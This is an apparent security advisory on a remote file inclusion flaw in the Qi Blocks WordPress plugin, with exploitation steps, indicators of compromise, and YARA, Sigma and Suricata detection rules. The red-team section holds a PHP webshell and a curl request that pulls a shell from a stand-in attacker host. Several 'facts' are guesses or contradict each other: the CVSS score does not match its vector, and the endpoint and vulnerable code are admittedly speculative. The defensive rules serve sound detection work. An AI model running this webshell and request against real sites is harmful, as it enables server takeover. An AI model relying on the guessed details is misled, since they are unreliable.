CVE-2024-49690

Executive Summary

CVE-2024-49690 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the Qodeinteractive Qi Blocks WordPress plugin, affecting versions up to and including 1.3.2. This vulnerability allows an unauthenticated attacker to remotely include arbitrary files from external servers into the vulnerable PHP application, leading to Remote Code Execution (RCE), data exfiltration, and full site compromise. The vulnerability stems from improper control of filenames used in PHP include/require statements, specifically within the plugin's file handling logic. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. The supply chain risk is elevated because:

• No official patch has been released by the vendor (Qodeinteractive) as of the latest advisory.
• The plugin is widely used in WordPress sites for block-based content editing.
• Attackers can exploit this to inject malicious code into the WordPress supply chain, potentially affecting thousands of sites.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): High – Full read access to server files.
• Integrity (I): High – Full write access to server files.
• Availability (A): High – Potential for denial of service or full system compromise.

Threat Level: Critical – Due to the ease of exploitation and potential for complete server takeover.

Deep Dive & Mechanics

The vulnerability exists in the qi-blocks plugin's file inclusion mechanism. The plugin likely uses a dynamic include() or require() statement where the filename is constructed from user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST parameters) without proper sanitization or validation.

Root Cause: The plugin fails to validate the filename parameter, allowing an attacker to supply a URL pointing to an external server (e.g., http://attacker.com/malicious.php). When PHP processes the include() statement, it fetches and executes the remote file, leading to Remote Code Execution.

Attack Flow:

1. Attacker identifies a vulnerable endpoint in the plugin (e.g., /wp-content/plugins/qi-blocks/includes/class-qi-blocks.php?file=).
2. Attacker crafts a request with a malicious URL: ?file=http://attacker.com/shell.txt.
3. The plugin includes the remote file, executing arbitrary PHP code.
4. Attacker gains full control over the WordPress site.

Affected Component: The vulnerability is specifically in the WordPress plugin qi-blocks, not in the underlying web server (Apache/Nginx).

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In vulnerable version <= 1.3.2
$file = $_GET['file'];
include($file);

Patched Code (Hypothetical):

// In a patched version
$allowed_files = array('template1.php', 'template2.php');
$file = basename($_GET['file']);
if (in_array($file, $allowed_files)) {
    include($file);
} else {
    // Handle error
}

Key Differences:

• Input Validation: Patched version uses a whitelist of allowed files.
• Path Traversal Prevention: Patched version uses basename() to strip directory traversal.
• Remote Inclusion Blocked: Patched version does not allow URLs in the include() statement.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Victim: WordPress 6.x with Qi Blocks plugin version 1.3.2 installed.
2. Attacker: Kali Linux with a web server hosting a malicious PHP file.

Exploitation Steps:

1. Host a malicious PHP file on attacker's server:

   <?php
   system($_GET['cmd']);
   ?>
   

2. Send the exploit request:

   curl "http://victim.com/wp-content/plugins/qi-blocks/includes/class-qi-blocks.php?file=http://attacker.com/shell.txt&cmd=id"
   

3. Observe the output of the id command.

Note: No public exploit code (Exploit-DB) or Nuclei template is available for this CVE at the time of analysis.

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Logs: Look for requests containing file= parameters with external URLs (e.g., http://, https://).
2. File Integrity Monitoring: Alert on new files in the wp-content/plugins/qi-blocks/ directory.
3. WAF Rules: Block requests with file parameters containing URLs or path traversal sequences.
4. Disable Plugin: Immediately disable the Qi Blocks plugin if no patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to unknown IPs/domains from the WordPress server.
• HTTP requests with file= parameter containing external URLs.
• Unusual User-Agent strings in requests to the vulnerable endpoint.

File System IOCs:

• New files in /wp-content/plugins/qi-blocks/ with suspicious content.
• Modified .htaccess or wp-config.php files.
• Presence of webshells (e.g., shell.php, cmd.php).

Log IOCs:

• PHP error logs showing include() failures for remote URLs.
• Apache/Nginx access logs with 200 responses to file= requests.

Detection Engineering

YARA Rule

rule CVE_2024_49690_Qi_Blocks_RFI {
    meta:
        description = "Detects PHP Remote File Inclusion attempts targeting Qi Blocks plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-49690"
    strings:
        $s1 = "qi-blocks" nocase
        $s2 = "file=" nocase
        $s3 = "http://" nocase
        $s4 = "https://" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-49690 Qi Blocks RFI Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting PHP RFI in Qi Blocks plugin
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'file=http://'
            - 'file=https://'
        cs-uri-stem|contains: '/wp-content/plugins/qi-blocks/'
    condition: selection
falsepositives:
    - Legitimate use of remote file includes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49690 Qi Blocks RFI Attempt"; flow:to_server; content:"/wp-content/plugins/qi-blocks/"; http_uri; content:"file="; http_uri; content:"http://"; distance:0; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If no patch is available, immediately deactivate and delete the Qi Blocks plugin.
2. Web Application Firewall (WAF): Deploy WAF rules to block RFI attempts (e.g., block file= parameters containing URLs).
3. PHP Configuration: Set allow_url_include = Off in php.ini to prevent remote file inclusion.
4. File Permissions: Restrict write permissions on the WordPress installation directory.

Long-Term Fix:

• Vendor Patch: Await an official patch from Qodeinteractive. Monitor their changelog for version 1.3.3 or higher.
• Code Audit: If you have custom code, ensure all include()/require() statements use whitelists and avoid user-supplied input.
• Update WordPress: Keep WordPress core and all plugins updated to the latest versions.

Workaround:

• Implement a custom filter in WordPress to sanitize $_GET and $_POST parameters for the Qi Blocks plugin.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert